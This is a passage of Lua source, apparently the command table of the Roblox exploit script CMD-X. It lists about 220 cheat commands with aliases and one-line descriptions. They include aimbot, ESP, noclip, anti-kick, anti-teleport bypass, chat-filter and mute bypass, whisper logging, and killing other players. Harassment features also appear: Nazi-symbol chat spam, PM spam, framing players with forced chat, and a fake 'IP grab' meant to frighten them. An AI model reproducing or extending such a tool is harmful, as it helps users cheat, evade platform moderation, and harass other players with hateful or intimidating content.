2620CMDN[#CMDN+1] = {N = "unbunnyhop", A = {"unbhop"}, CMD = "165,unbhop/unbunnyhop,,()"}
2621CMDN[#CMDN+1] = {N = "invisible", A = {"invis"}, CMD = "166,invisible/invis,,Makes your character invisible."}
2622CMDN[#CMDN+1] = {N = "sit", A = {"seat"}, CMD = "167,sit/seat,,Sits your character."}
2623CMDN[#CMDN+1] = {N = "sitwalk", A = {"seatwalk"}, CMD = "168,sitwalk/seatwalk,,Sits your character but allows your character to move around.,"}
2624CMDN[#CMDN+1] = {N = "freeze", A = {"anchored"}, CMD = "169,freeze/anchored,,Freezes your character."}
2625CMDN[#CMDN+1] = {N = "thaw", A = {"unfreeze","unanchored"}, CMD = "170,thaw/unfreeze/unanchored,,()"}
2626CMDN[#CMDN+1] = {N = "goto", A = {"to","tp"}, CMD = "171,goto/to/tp,(plr),Teleports your character to the player.", ARG = "Player"}
2627CMDN[#CMDN+1] = {N = "walkto", A = {"moveto"}, CMD = "172,walkto/moveto,(plr),Walks your character to the player.", ARG = "Player"}
2628CMDN[#CMDN+1] = {N = "unwalkto", A = {"unmoveto"}, CMD = "173,unwalkto/unmoveto,,()"}
2629CMDN[#CMDN+1] = {N = "refresh", A = {"re"}, CMD = "174,refresh/re,,Respawns your character on the location of entering this command."}
2630CMDN[#CMDN+1] = {N = "reset", A = {"r"}, CMD = "175,reset/r,,Resets your character."}
2631CMDN[#CMDN+1] = {N = "savepos", A = {"spos"}, CMD = "176,savepos/spos,(str),Saves your characters position."}
2632CMDN[#CMDN+1] = {N = "loadpos", A = {"lpos"}, CMD = "177,loadpos/lpos,(str),()"}
2633CMDN[#CMDN+1] = {N = "platform", A = {"pf"}, CMD = "178,platform/pf,,Allows your character to walk on an invisible platform."}
2634CMDN[#CMDN+1] = {N = "unplatform", A = {"unpf"}, CMD = "179,unplatform/unpf,,()"}
2635CMDN[#CMDN+1] = {N = "clicktp", A = {"ctrltp"}, CMD = "180,clicktp/ctrltp,,Press CTRL to teleport your character to your cursor."}
2636CMDN[#CMDN+1] = {N = "infjump", A = {"ij"}, CMD = "181,infjump/ij,,Allows you to infinitely go higher by pressing space."}
2637CMDN[#CMDN+1] = {N = "uninfjump", A = {"unij"}, CMD = "182,uninfjump/unij,,()"}
2638CMDN[#CMDN+1] = {N = "fly", A = {""}, CMD = "183,fly,,Allows your character to fly."}
2639CMDN[#CMDN+1] = {N = "vehiclefly", A = {"vfly"}, CMD = "184,vehiclefly/vfly,,Allows your character to fly around in vehicles."}
2640CMDN[#CMDN+1] = {N = "unfly", A = {""}, CMD = "185,unfly,,()"}
2641CMDN[#CMDN+1] = {N = "flyspeed", A = {"fs"}, CMD = "186,flyspeed/fs,(num),Changes fly speed."}
2642CMDN[#CMDN+1] = {N = "rejoin", A = {"rj"}, CMD = "187,rejoin/rj,,Rejoins the game."}
2643CMDN[#CMDN+1] = {N = "game", A = {"place"}, CMD = "188,game/place,(num),Joins the GameID you stated in num."}
2644CMDN[#CMDN+1] = {N = "reach", A = {""}, CMD = "189,reach,(num),Edits your tools size value."}
2645CMDN[#CMDN+1] = {N = "boxreach", A = {"breach"}, CMD = "190,boxreach/breach,(num),Edits your tools size value in a box formation."}
2646CMDN[#CMDN+1] = {N = "unreach", A = {""}, CMD = "191,unreach,,()"}
2647CMDN[#CMDN+1] = {N = "noclip", A = {"nc"}, CMD = "192,noclip/nc,,Allows your character to walk through anything, also blocks most flings."}
2648CMDN[#CMDN+1] = {N = "light", A = {"brightness"}, CMD = "193,light/brightness,(num),Gives your character a light. (CLIENT SIDED)"}
2649CMDN[#CMDN+1] = {N = "unlight", A = {"unbrightness"}, CMD = "194,unlight/unbrightness,,()"}
2650CMDN[#CMDN+1] = {N = "esp", A = {""}, CMD = "195,esp,,Shows where all the players are on your screen."}
2651CMDN[#CMDN+1] = {N = "unesp", A = {""}, CMD = "196,unesp,,()"}
2652CMDN[#CMDN+1] = {N = "aimbot", A = {"ab"}, CMD = "197,aimbot/ab,,Finds the closest player to you."}
2653CMDN[#CMDN+1] = {N = "unaimbot", A = {"unab"}, CMD = "198,unaimbot/unab,,()"}
2654CMDN[#CMDN+1] = {N = "whitelistfriends", A = {"wlf"}, CMD = "199,wlf/whitelistfriends,,Whitelists friends for aimbot."}
2655CMDN[#CMDN+1] = {N = "unwhitelistfriends", A = {"unwlf"}, CMD = "200,unwlf/unwhitelistfriends,,Unwhitelists friends for aimbot."}
2656CMDN[#CMDN+1] = {N = "whitelist", A = {"wl"}, CMD = "201,wl/whitelist,(plr),Whitelists player for aimbot.", ARG = "Player"}
2657CMDN[#CMDN+1] = {N = "unwhitelist", A = {"unwl"}, CMD = "202,unwl/unwhitelist,(plr),Unwhitelists player for aimbot.", ARG = "Player"}
2658CMDN[#CMDN+1] = {N = "showwhitelist", A = {"swl"}, CMD = "203,swl/showwhitelist,,Shows whitelist for aimbot."}
2659CMDN[#CMDN+1] = {N = "spectate", A = {"view"}, CMD = "204,view/spectate,(plr),Switches your camera view to the player you stated.", ARG = "Player"}
2660CMDN[#CMDN+1] = {N = "unspectate", A = {"unview"}, CMD = "205,unview/unspectate,,()"}
2661CMDN[#CMDN+1] = {N = "osprivate", A = {"ospr"}, CMD = "206,ospr/osprivate,(plr),Says stated users Operating System privately.", ARG = "Player"}
2662CMDN[#CMDN+1] = {N = "ospublic", A = {"ospu"}, CMD = "207,ospu/ospublic,(plr),Says stated users Operating System publicly.", ARG = "Player"}
2663CMDN[#CMDN+1] = {N = "ageprivate", A = {"agepr"}, CMD = "208,agepr/ageprivate,(plr),Says stated users Account Age privately.", ARG = "Player"}
2664CMDN[#CMDN+1] = {N = "agepublic", A = {"agepu"}, CMD = "209,agepu/agepublic,(plr),Says stated users Account Age publicly.", ARG = "Player"}
2665CMDN[#CMDN+1] = {N = "idprivate", A = {"idpr"}, CMD = "210,idpr/idprivate,(plr),Says stated users ID privately.", ARG = "Player"}
2666CMDN[#CMDN+1] = {N = "idpublic", A = {"idpu"}, CMD = "211,idpu/idpublic,(plr),Says stated users ID publicly.", ARG = "Player"}
2667CMDN[#CMDN+1] = {N = "vrprivate", A = {"vrpr"}, CMD = "212,vrpr/vrprivate,(plr),Says stated users Virtual Reality System privately.", ARG = "Player"}
2668CMDN[#CMDN+1] = {N = "vrpublic", A = {"vrpu"}, CMD = "213,vrpu/vrpublic,(plr),Says stated users Virtual Reality System publicly.", ARG = "Player"}
2669CMDN[#CMDN+1] = {N = "profileinfo", A = {"profile"}, CMD = "214,profileinfo/profile,(plr),Lists various information of the player stated and shows a bodyshot of the player.", ARG = "Player"}
2670CMDN[#CMDN+1] = {N = "closeprofileinfo", A = {"closeprofile"}, CMD = "215,closeprofile/closeprofileinfo,,()"}
2671CMDN[#CMDN+1] = {N = "nazispam", A = {"asciinazi"}, CMD = "216,nazispam/asciinazi,,Spams nazi signs in the chat."}
2672CMDN[#CMDN+1] = {N = "unnazispam", A = {"unasciinazi"}, CMD = "217,unnazispam/unasciinazi,,()"}
2673CMDN[#CMDN+1] = {N = "spam", A = {"s"}, CMD = "218,spam/s,(str),Spams the text you entered."}
2674CMDN[#CMDN+1] = {N = "unspam", A = {"uns"}, CMD = "219,unspam/uns,,()"}
2675CMDN[#CMDN+1] = {N = "pmspam", A = {""}, CMD = "220,pmspam,(plr) (str),Spams the text you entered in someones PM.", ARG = "Player"}
2676CMDN[#CMDN+1] = {N = "unpmspam", A = {""}, CMD = "221,unpmspam,,()"}
2677CMDN[#CMDN+1] = {N = "spamspeed", A = {"ss"}, CMD = "222,spamspeed/ss,(num),Changes the speed of the spam."}
2678CMDN[#CMDN+1] = {N = "dicepublic", A = {"dicepu"}, CMD = "223,dicepu/dicepublic,,Rolls a dice publicly."}
2679CMDN[#CMDN+1] = {N = "diceprivate", A = {"dicepr"}, CMD = "224,dicepr/diceprivate,,Rolls a dice privately."}
2680CMDN[#CMDN+1] = {N = "numberpublic", A = {"numberpu"}, CMD = "225,numberpu/numberpublic,(num1) (num2),Calls a random number you stated between 2 numbers publicly."}
2681CMDN[#CMDN+1] = {N = "numberprivate", A = {"numberpr"}, CMD = "226,numberpr/numberprivate,(num1) (num2),Calls a random number you stated between 2 numbers privately."}
2682CMDN[#CMDN+1] = {N = "loadcustoms", A = {""}, CMD = "227,loadcustoms,,Lists custom scripts."}
2683CMDN[#CMDN+1] = {N = "loadcustom", A = {"pluginload","p_"}, CMD = "228,loadcustom/pluginload/p_,(name),Loads custom script that you stated."}
2684CMDN[#CMDN+1] = {N = "find", A = {""}, CMD = "229,find,(plr),Locates where your stated user is using the ESP command - (WARNING: May cause log spam.).", ARG = "Player"}
2685CMDN[#CMDN+1] = {N = "unfind", A = {""}, CMD = "230,unfind,(plr),()", ARG = "Player"}
2686CMDN[#CMDN+1] = {N = "clickdelete", A = {"clickdel"}, CMD = "231,clickdel/clickdelete,,Deletes any part you click on. (WARNING: Broken :/ )"}
2687CMDN[#CMDN+1] = {N = "logs", A = {""}, CMD = "232,logs,,Logs all chats including whispers in a GUI."}
2688CMDN[#CMDN+1] = {N = "test", A = {""}, CMD = "233,test,,Old ESP test. (WARNING: Will literally lag your game please don't use this lol)"}
2689CMDN[#CMDN+1] = {N = "testa", A = {"test-1"}, CMD = "234,testa/test-1,,DHBaby morph remover."}
2690CMDN[#CMDN+1] = {N = "time", A = {""}, CMD = "235,time,(timezone),Lists the current time of this timezone."}
2691CMDN[#CMDN+1] = {N = "removeforces", A = {"rforces"}, CMD = "236,rforces/removeforces,,Removes forces from your character."}
2692CMDN[#CMDN+1] = {N = "audiologger", A = {""}, CMD = "237,audiologger,,Logs all audios it finds from players in a loop."}
2693CMDN[#CMDN+1] = {N = "audiologgersave", A = {""}, CMD = "238,audiologgersave,,Saves all logged audios from audiologger."}
2694CMDN[#CMDN+1] = {N = "antilag", A = {"lowgraphics"}, CMD = "239,lowgraphics/antilag,,Attempts to minimize lag as much as possible best works with Graphics set to 1."}
2695CMDN[#CMDN+1] = {N = "clear", A = {"clr"}, CMD = "240,clr/clear,,Deletes all hats and gears dropped into the workspace."}
2696CMDN[#CMDN+1] = {N = "removeterrain", A = {"rterrain"}, CMD = "241,rterrain/removeterrain,,Removes all terrain."}
2697CMDN[#CMDN+1] = {N = "outputlarger", A = {"outputl"}, CMD = "242,outputlarger/outputl,(str),Makes an output-larger."}
2698CMDN[#CMDN+1] = {N = "compliment", A = {""}, CMD = "243,compliment,(plr),Compliments player", ARG = "Player"}
2699CMDN[#CMDN+1] = {N = "roast", A = {""}, CMD = "244,roast,(plr),Roasts player", ARG = "Player"}
2700CMDN[#CMDN+1] = {N = "singinfo", A = {""}, CMD = "245,singinfo,,Lists how to make your own song compatible with sing command."}
2701CMDN[#CMDN+1] = {N = "sing", A = {""}, CMD = "246,sing,(link/preset),Makes your character sing a song (Presets: genocide/animethighs/babyshark/evilfantasy/$harkattack/dora/introversion/lucy/tyler/methhead/superfuntime/haha/diamonds)"}
2702CMDN[#CMDN+1] = {N = "deletepos", A = {"dpos"}, CMD = "247,dpos/deletepos,(str),Deletes specified waypoint."}
2703CMDN[#CMDN+1] = {N = "clearpos", A = {"cpos"}, CMD = "248,cpos/clearpos,,Clears all waypoints."}
2704CMDN[#CMDN+1] = {N = "gotopos", A = {""}, CMD = "249,gotopos,(behind/infront/left/right/above/under),Modifies how and where you tp to the character."}
2705CMDN[#CMDN+1] = {N = "autokey", A = {""}, CMD = "250,autokey,(key),Auto key presses the key you enter (SYNAPSE ONLY)."}
2706CMDN[#CMDN+1] = {N = "unautokey", A = {""}, CMD = "251,unautokey,,()"}
2707CMDN[#CMDN+1] = {N = "swimwalk", A = {"swim"}, CMD = "252,swim/swimwalk,,Allows you to swim on land."}
2708CMDN[#CMDN+1] = {N = "instances", A = {""}, CMD = "253,instances,,Shows you how many instances are in the game."}
2709CMDN[#CMDN+1] = {N = "plugin", A = {""}, CMD = "254,plugin,,Shows plugin GUI so you can add plugins to CMD-X."}
2710CMDN[#CMDN+1] = {N = "loadcustomsclr", A = {""}, CMD = "255,loadcustomsclr,,Clears all loadcustoms."}
2711CMDN[#CMDN+1] = {N = "iq", A = {"iqsize"}, CMD = "256,iq/iqsize,(plr),Shows players IQ (RANDOM).", ARG = "Player"}
2712CMDN[#CMDN+1] = {N = "players", A = {""}, CMD = "257,players,,Lists players in your game."}
2713CMDN[#CMDN+1] = {N = "freezeunanchored", A = {"funa"}, CMD = "258,freezeunanchored/funa,,Freezes unanchored parts (works best with .loop)."}
2714CMDN[#CMDN+1] = {N = "thawunanchored", A = {"tuna"}, CMD = "259,thawunanchored/tuna,,Thaws unanchored parts."}
2715CMDN[#CMDN+1] = {N = "massage", A = {""}, CMD = "260,massage,,Shows all players ages."}
2716CMDN[#CMDN+1] = {N = "gearhat", A = {"toolhat"}, CMD = "261,gearhat/toolhat,,Makes your gears into hats."}
2717CMDN[#CMDN+1] = {N = "bypass", A = {"bp"}, CMD = "262,bp/bypass,(str),Bypasses text you enter into chat."}
2718CMDN[#CMDN+1] = {N = "emote", A = {"e"}, CMD = "263,e/emote,(id),Plays the emote you enter by name (R15 ONLY)."}
2719CMDN[#CMDN+1] = {N = "printcommands", A = {"pcmds"}, CMD = "262,pcmds/printcommands,,Prints commands."}
2720CMDN[#CMDN+1] = {N = "chatframe", A = {"cf"}, CMD = "263,chatframe/cf,(plr/str),Forces player to chat something so you can frame them (CLIENT SIDED).", ARG = "Player"}
2721CMDN[#CMDN+1] = {N = "forcebubblechat", A = {"fbc"}, CMD = "264,forcebubblechat/fbc,,Forces bubble chat to appear for players chatting (CLIENT SIDED)."}
2722CMDN[#CMDN+1] = {N = "unforcebubblechat", A = {"unfbc"}, CMD = "265,unforcebubblechat/unfbc,,()"}
2723CMDN[#CMDN+1] = {N = "itemesp", A = {"iesp"}, CMD = "266,itemesp/iesp,,Creates ESP's for in-game items as best as possible."}
2724CMDN[#CMDN+1] = {N = "unitemesp", A = {"uniesp"}, CMD = "267,unitemesp/uniesp,,()"}
2725CMDN[#CMDN+1] = {N = "setdiscord", A = {""}, CMD = "268,setdiscord,(str),Put your discord name in here for use of the command saydiscord."}
2726CMDN[#CMDN+1] = {N = "saydiscord", A = {"sd"}, CMD = "269,saydiscord/sd,(cb/copy),Says your discord name in chat."}
2727CMDN[#CMDN+1] = {N = "removecustombodyparts", A = {"rcbp","rcustombp"}, CMD = "270,rcbp/rcustombp/removecustombodyparts,,Removes custom body parts set by games."}
2728CMDN[#CMDN+1] = {N = "insane", A = {"spas"}, CMD = "271,insane/spas,,Makes your character spas out. (R6 ONLY)"}
2729CMDN[#CMDN+1] = {N = "hotkeyaimbot", A = {""}, CMD = "272,hotkeyaimbot,(key),Changes your hotkey for activating aimbot."}
2730CMDN[#CMDN+1] = {N = "hotkeyesp", A = {""}, CMD = "273,hotkeyesp,(key),Changes your hotkey for activating ESP."}
2731CMDN[#CMDN+1] = {N = "admindetect", A = {"ad"}, CMD = "274,admindetect/ad,,Detects admins in the game (If the game has HDAdmin do ;admins before running the command)(SUPPORTS: HD/KOHLS)"}
2732CMDN[#CMDN+1] = {N = "streamermode", A = {"hidenames"}, CMD = "275,streamermode/hidenames,,Hides all names in games (Suitable for streamers or people showcasing CMD-X <3)."}
2733CMDN[#CMDN+1] = {N = "permflyspeed", A = {"pfs"}, CMD = "276,permflyspeed/pfs,(num),Fly speed is set to this every time you fly."}
2734CMDN[#CMDN+1] = {N = "loopgoto", A = {"loopto","looptp"}, CMD = "277,loopgoto/loopto/looptp,(plr),Loop teleports to the player."}
2735CMDN[#CMDN+1] = {N = "unloopgoto", A = {"unloopto","unlooptp"}, CMD = "278,unloopgoto/unloopto/unlooptp,,()"}
2736CMDN[#CMDN+1] = {N = "dupegears", A = {"dupetools"}, CMD = "279,dupetools/dupegears,(num),Dupes tools until it reaches the set amount."}
2737CMDN[#CMDN+1] = {N = "permwalkspeed", A = {"pws"}, CMD = "280,permwalkspeed/pws,(num),Walk speed is set to this every time you use walkspeed."}
2738CMDN[#CMDN+1] = {N = "permjumppower", A = {"pjp"}, CMD = "281,permjumppower/pjp,(num),Jump power is set to this every time you use jumppower."}
2739CMDN[#CMDN+1] = {N = "permhipheight", A = {"phh"}, CMD = "282,permhipheight/phh,(num),Hip height is set to this every time you use hipheight."}
2740CMDN[#CMDN+1] = {N = "permgravity", A = {"pgrav"}, CMD = "283,permgravity/pgrav,(num),Gravity is set to this every time you use gravity."}
2741CMDN[#CMDN+1] = {N = "gotobp", A = {"tobp","tpbp"}, CMD = "284,gotobp/tobp/tpbp,(plr),Teleports to a player while bypassing any anti-teleport.", ARG = "Player"}
2742CMDN[#CMDN+1] = {N = "mute", A = {""}, CMD = "285,mute,,Mutes players sounds in a loop including radios."}
2743CMDN[#CMDN+1] = {N = "unmute", A = {""}, CMD = "286,unmute,,()"}
2744CMDN[#CMDN+1] = {N = "vgoto", A = {"vto","vtp"}, CMD = "287,vgoto/vto/vtp,(plr),Teleports to a player while in a vehicle.", ARG = "Player"}
2745CMDN[#CMDN+1] = {N = "admin", A = {""}, CMD = "288,admin,(plr),Allows a player to run commands on you (RE-EXECUTE AFTER RUNNING).", ARG = "Player"}
2746CMDN[#CMDN+1] = {N = "unadmin", A = {""}, CMD = "289,unadmin,(plr),() (RE-EXECUTE AFTER RUNNING)"}
2747CMDN[#CMDN+1] = {N = "admins", A = {""}, CMD = "290,admins,,Lists all admins."}
2748CMDN[#CMDN+1] = {N = "adminclr", A = {""}, CMD = "291,adminclr,,Removes all admins (RE-EXECUTE AFTER RUNNING)."}
2749CMDN[#CMDN+1] = {N = "hotkeynew", A = {""}, CMD = "292,hotkeynew,(key/cmd),Adds a new hotkey to the list of hotkeys that are activated when you press the keybind."}
2750CMDN[#CMDN+1] = {N = "hotkeys", A = {""}, CMD = "293,hotkeys,,Allows you to add hotkeys."}
2751CMDN[#CMDN+1] = {N = "hotkeydel", A = {""}, CMD = "294,hotkeydel,(cmd),Deletes a hotkey in the hotkeys list."}
2752CMDN[#CMDN+1] = {N = "hotkeysclr", A = {""}, CMD = "295,hotkeysclr,,Clears the hotkeys."}
2753CMDN[#CMDN+1] = {N = "changestyle", A = {"cs"}, CMD = "296,cs/changestyle,(style),Changes the style of your CMD-X refer to csinfo for more info on this command."}
2754CMDN[#CMDN+1] = {N = "csinfo", A = {""}, CMD = "297,csinfo,,Lists info about changestyle/cs."}
2755CMDN[#CMDN+1] = {N = "chat", A = {""}, CMD = "298,chat,(str),Forces you to chat whatever you put in str (Bypasses any mute)."}
2756CMDN[#CMDN+1] = {N = "curvetools", A = {""}, CMD = "299,curvetools,,Curves your tools."}
2757CMDN[#CMDN+1] = {N = "spiraltools", A = {""}, CMD = "300,spiraltools,,Spirals your tools."}
2758CMDN[#CMDN+1] = {N = "toggleconfly", A = {"tcfly"}, CMD = "301,tcfly/toggleconfly,(on/off),Toggles if your fly starts again after a reset."}
2759CMDN[#CMDN+1] = {N = "audioglitch", A = {"aglitch"}, CMD = "302,aglitch/audioglitch,(plr/all/others|num),Glitches players audios."}
2760CMDN[#CMDN+1] = {N = "unaudioglitch", A = {"unaglitch"}, CMD = "303,unaglitch/unaudioglitch,,()"}
2761CMDN[#CMDN+1] = {N = "lagchat", A = {""}, CMD = "304,lagchat,,Lags chat using _'s."}
2762CMDN[#CMDN+1] = {N = "trollchat", A = {"tc"}, CMD = "305,trollchat/tc,,Picks a random trolly/ annoying chat."}
2763CMDN[#CMDN+1] = {N = "unbodypositionwalkspeed", A = {"unbpws"}, CMD = "306,unbpws/unbodypositionwalkspeed,,()bpws"}
2764CMDN[#CMDN+1] = {N = "removegears", A = {"rgears","removetools","rtools"}, CMD = "307,removegears/rgears/removetools/rtools,,Removes all your tools."}
2765CMDN[#CMDN+1] = {N = "unclicktp", A = {"unctrltp"}, CMD = "308,unclicktp/unctrltp,,()"}
2766CMDN[#CMDN+1] = {N = "unswimwalk", A = {"unswim"}, CMD = "309,unswim/unswimwalk,,()"}
2767CMDN[#CMDN+1] = {N = "unlagchat", A = {""}, CMD = "310,unlagchat,,()"}
2768CMDN[#CMDN+1] = {N = "rocket", A = {""}, CMD = "311,rocket,,Holds the robux rocket launcher or any kind of sniper etc on your back."}
2769CMDN[#CMDN+1] = {N = "clip", A = {"c"}, CMD = "312,clip/c,,()noclip"}
2770CMDN[#CMDN+1] = {N = "orbit", A = {"orb"}, CMD = "313,orbit/orb,(plr),Orbits a player.", ARG = "Player"}
2771CMDN[#CMDN+1] = {N = "closeorbit", A = {"corb"}, CMD = "314,closeorbit/corb,(plr),Close orbits a player.", ARG = "Player"}
2772CMDN[#CMDN+1] = {N = "unorbit", A = {"unorb"}, CMD = "315,unorbit/unorb,,()"}
2773CMDN[#CMDN+1] = {N = "suggestions", A = {""}, CMD = "316,suggestions,(on/off),Turns CMD suggestions on or off."}
2774CMDN[#CMDN+1] = {N = "clientbring", A = {"cbring"}, CMD = "317,clientbring/cbring,(plr),Brings user to you (CLIENT SIDED).", ARG = "Player"}
2775CMDN[#CMDN+1] = {N = "unclientbring", A = {"uncbring"}, CMD = "318,unclientbring/uncbring,,()"}
2776CMDN[#CMDN+1] = {N = "bring", A = {""}, CMD = "319,bring,(plr),Brings the player to you (NEED A HAT AND TOOL).", ARG = "Player"}
2777CMDN[#CMDN+1] = {N = "kill", A = {""}, CMD = "320,kill,(plr),Kills the player (NEED A HAT AND TOOL).", ARG = "Player"}
2778CMDN[#CMDN+1] = {N = "give", A = {""}, CMD = "321,give,(plr),Gives the player your tool.", ARG = "Player"}
2779CMDN[#CMDN+1] = {N = "using", A = {"script","iuse"}, CMD = "322,using/script/iuse,,Specifies that you are using CMD-X. <3"}
2780CMDN[#CMDN+1] = {N = "playercases", A = {""}, CMD = "323,playercases,,Lists player cases you can use in your second argument."}
2781CMDN[#CMDN+1] = {N = "coronavirus", A = {""}, CMD = "324,coronavirus,(country/none),Provides information about coronavirus using an API."}
2782CMDN[#CMDN+1] = {N = "joindateprivate", A = {"jdpr"}, CMD = "325,joindateprivate/jdpr,(plr),Shows players join date privately.", ARG = "Player"}
2783CMDN[#CMDN+1] = {N = "autoobby", A = {""}, CMD = "326,autoobby,,Allows you to complete an obby without pressing spacebar."}
2784CMDN[#CMDN+1] = {N = "unautoobby", A = {""}, CMD = "327,unautoobby,,()"}
2785CMDN[#CMDN+1] = {N = "joindatepublic", A = {"jdpu"}, CMD = "328,joindatepublic/jdpu,(plr),Shows players join date publicly.", ARG = "Player"}
2786CMDN[#CMDN+1] = {N = "ppsize", A = {"pp"}, CMD = "329,ppsize/pp,(plr),Shows players PP size. (RANDOM)", ARG = "Player"}
2787CMDN[#CMDN+1] = {N = "gaysize", A = {"gay"}, CMD = "330,gaysize/gay,(plr),Shows how gay a player is. (RANDOM)", ARG = "Player"}
2788CMDN[#CMDN+1] = {N = "matchmake", A = {"match"}, CMD = "330,matchmake/match,(plr|plr2),Shows how much of a match 2 players are. (RANDOM)"}
2789CMDN[#CMDN+1] = {N = "height", A = {""}, CMD = "330,height,(plr),Shows how tall a player is. (RANDOM)", ARG = "Player"}
2790CMDN[#CMDN+1] = {N = "randomchat", A = {"rc"}, CMD = "331,randomchat/rc,,Chats a randomly generated message."}
2791CMDN[#CMDN+1] = {N = "grabtools", A = {"gtools"}, CMD = "332,grabtools/gtools,,Grabs tools that enter workspace."}
2792CMDN[#CMDN+1] = {N = "ungrabtools", A = {"ungtools"}, CMD = "333,ungrabtools/ungtools,,()"}
2793CMDN[#CMDN+1] = {N = "earrape", A = {""}, CMD = "334,earrape,,Plays all sounds in workspace."}
2794CMDN[#CMDN+1] = {N = "respectfiltering", A = {"rfe"}, CMD = "335,respectfiltering/rfe,,Checks if respect filtering is enabled or disabled."}
2795CMDN[#CMDN+1] = {N = "removefog", A = {"rfog"}, CMD = "336,removefog/rfog,,Removes fog."}
2796CMDN[#CMDN+1] = {N = "clientfreeze", A = {"cfreeze"}, CMD = "337,clientfreeze/cfreeze,(plr),Freezes player on client.", ARG = "Player"}
2797CMDN[#CMDN+1] = {N = "unclientfreeze", A = {"uncfreeze"}, CMD = "338,unclientfreeze/uncfreeze,(plr),()", ARG = "Player"}
2798CMDN[#CMDN+1] = {N = "respawndead", A = {"redead"}, CMD = "339,respawndead/redead,,Refreshes your character when death occurs."}
2799CMDN[#CMDN+1] = {N = "unrespawndead", A = {"unredead"}, CMD = "340,unrespawndead/unredead,,()"}
2800CMDN[#CMDN+1] = {N = "god", A = {""}, CMD = "341,god,,Gods your character (wont work on games that use :LoadCharacter())."}
2801CMDN[#CMDN+1] = {N = "sniper", A = {""}, CMD = "342,sniper,,Sniper rifle HAT NEEDED: https://www.roblox.com/catalog/4771672981/"}
2802CMDN[#CMDN+1] = {N = "statistics", A = {""}, CMD = "343,statistics,,Shows your most used commands."}
2803CMDN[#CMDN+1] = {N = "bluewarn", A = {""}, CMD = "344,bluewarn,(str),Sends a warning to F9 in blue."}
2804CMDN[#CMDN+1] = {N = "grabip", A = {"ip"}, CMD = "345,grabip/ip,(plr),Grabs a fake IP designed to scare the player (RANDOM).", ARG = "Player"}
2805CMDN[#CMDN+1] = {N = "enablereset", A = {""}, CMD = "346,enablereset,,Force enables the reset button incase a game has disabled it."}
2806CMDN[#CMDN+1] = {N = "disablereset", A = {""}, CMD = "347,disablereset,,Disables the reset button."}
2807CMDN[#CMDN+1] = {N = "massjoindate", A = {"massjd"}, CMD = "348,massjoindate/massjd,,Shows all players joindates."}
2808CMDN[#CMDN+1] = {N = "loop", A = {""}, CMD = "349,loop,(str),Loops command with arguments."}
2809CMDN[#CMDN+1] = {N = "unloop", A = {""}, CMD = "350,unloop,,()"}
2810CMDN[#CMDN+1] = {N = "savetools", A = {"savegears","sgears","stools"}, CMD = "351,savetools/savegears/sgears/stools,,Saves tools."}
2811CMDN[#CMDN+1] = {N = "loadtools", A = {"loadgears","lgears","ltools"}, CMD = "352,loadtools/loadgears/lgears/ltools,,Loads tools."}
2812CMDN[#CMDN+1] = {N = "hotkeyfly", A = {""}, CMD = "353,hotkeyfly,(key),Saves a toggle for fly."}
2813CMDN[#CMDN+1] = {N = "hotkeyxray", A = {""}, CMD = "354,hotkeyxray,(key),Saves a toggle for x-ray"}
2814CMDN[#CMDN+1] = {N = "ungod", A = {""}, CMD = "355,ungod,,()"}
2815CMDN[#CMDN+1] = {N = "animsync", A = {"async"}, CMD = "356,animsync/async,(plr),Syncs anim with player if caller is /e or .e", ARG = "Player"}
2816CMDN[#CMDN+1] = {N = "unanimsync", A = {"unasync"}, CMD = "357,unanimsync/unasync,,()"}
2817CMDN[#CMDN+1] = {N = "clicktphotkey", A = {""}, CMD = "358,clicktphotkey,(key),Changes the hotkey for clicktp."}
2818CMDN[#CMDN+1] = {N = "permspamspeed", A = {"pss"}, CMD = "359,permspamspeed/pss,(num),Changes the perm spam speed."}
2819CMDN[#CMDN+1] = {N = "scriptusers", A = {"susers"}, CMD = "360,scriptusers/susers,,Shows people who are using CMD-X in your lobby."}
2820CMDN[#CMDN+1] = {N = "massid", A = {""}, CMD = "361,massid,,Shows all players IDs."}
2821CMDN[#CMDN+1] = {N = "massos", A = {""}, CMD = "362,massos,,Shows all players OSs."}
2822CMDN[#CMDN+1] = {N = "scriptchat", A = {"schat"}, CMD = "363,scriptchat/schat,,Allows you to talk with other people using CMD-X."}
2823CMDN[#CMDN+1] = {N = "schatbp", A = {"#"}, CMD = "364,schatbp/#,(str),Bypasses roblox filter for scriptchat and encodes your message."}
2824CMDN[#CMDN+1] = {N = "mentions", A = {""}, CMD = "365,mentions,(on/off),Turns scriptchat mentions on or off."}
2825CMDN[#CMDN+1] = {N = "whisperlogs", A = {"wlogs"}, CMD = "366,whisperlogs/wlogs,,Logs any whispers specifically."}
2826CMDN[#CMDN+1] = {N = "playerlogs", A = {"plogs"}, CMD = "367,playerlogs/plogs,(plr),Logs messages by player specifically.", ARG = "Player"}
2827CMDN[#CMDN+1] = {N = "noshow", A = {""}, CMD = "368,noshow,(on/off),Turns on or off detection on .susers."}
2828CMDN[#CMDN+1] = {N = "rejoindiff", A = {"rjdiff"}, CMD = "369,rejoindiff/rjdiff,(smallest/small/largest/quick),Rejoins but takes you to a differnt server (Server Hopper)."}
2829CMDN[#CMDN+1] = {N = "antikick", A = {""}, CMD = "370,antikick,,Stops you from being kicked."}
2830CMDN[#CMDN+1] = {N = "servers", A = {""}, CMD = "371,servers,,Lists servers."}
2831CMDN[#CMDN+1] = {N = "streamsnipe", A = {"ssnipe"}, CMD = "372,streamsnipe/ssnipe,(userid|gameid),Streamsnipes a user."}
2832CMDN[#CMDN+1] = {N = "listentercmds", A = {""}, CMD = "373,listentercmds,,Lists enter cmds."}
2833CMDN[#CMDN+1] = {N = "listhotkeys", A = {""}, CMD = "374,listhotkeys,,Lists hotkeys."}
2834CMDN[#CMDN+1] = {N = "spoofos", A = {""}, CMD = "375,spoofos,(str),Spoofs your OS."}
2835CMDN[#CMDN+1] = {N = "hotkeynoclip", A = {""}, CMD = "376,hotkeynoclip,(key),Adds a hotkey for noclip."}
2836CMDN[#CMDN+1] = {N = "enabledrops", A = {""}, CMD = "377,enabledrops,,Enables tools dropping features."}
2837CMDN[#CMDN+1] = {N = "disabledrops", A = {""}, CMD = "378,disabledrops,,Disables tools dropping features."}
2838CMDN[#CMDN+1] = {N = "novoid", A = {""}, CMD = "379,novoid,,Stops you from being voided."}
2839CMDN[#CMDN+1] = {N = "yesvoid", A = {""}, CMD = "380,yesvoid,,()."}
2840CMDN[#CMDN+1] = {N = "sentinelexplorer", A = {"sdex"}, CMD = "381,sentinelexplorer/sdex,,Opens sentinel dex."}
2841CMDN[#CMDN+1] = {N = "truesight", A = {"ts"}, CMD = "382,truesight/ts,,Shows invisible objects."}
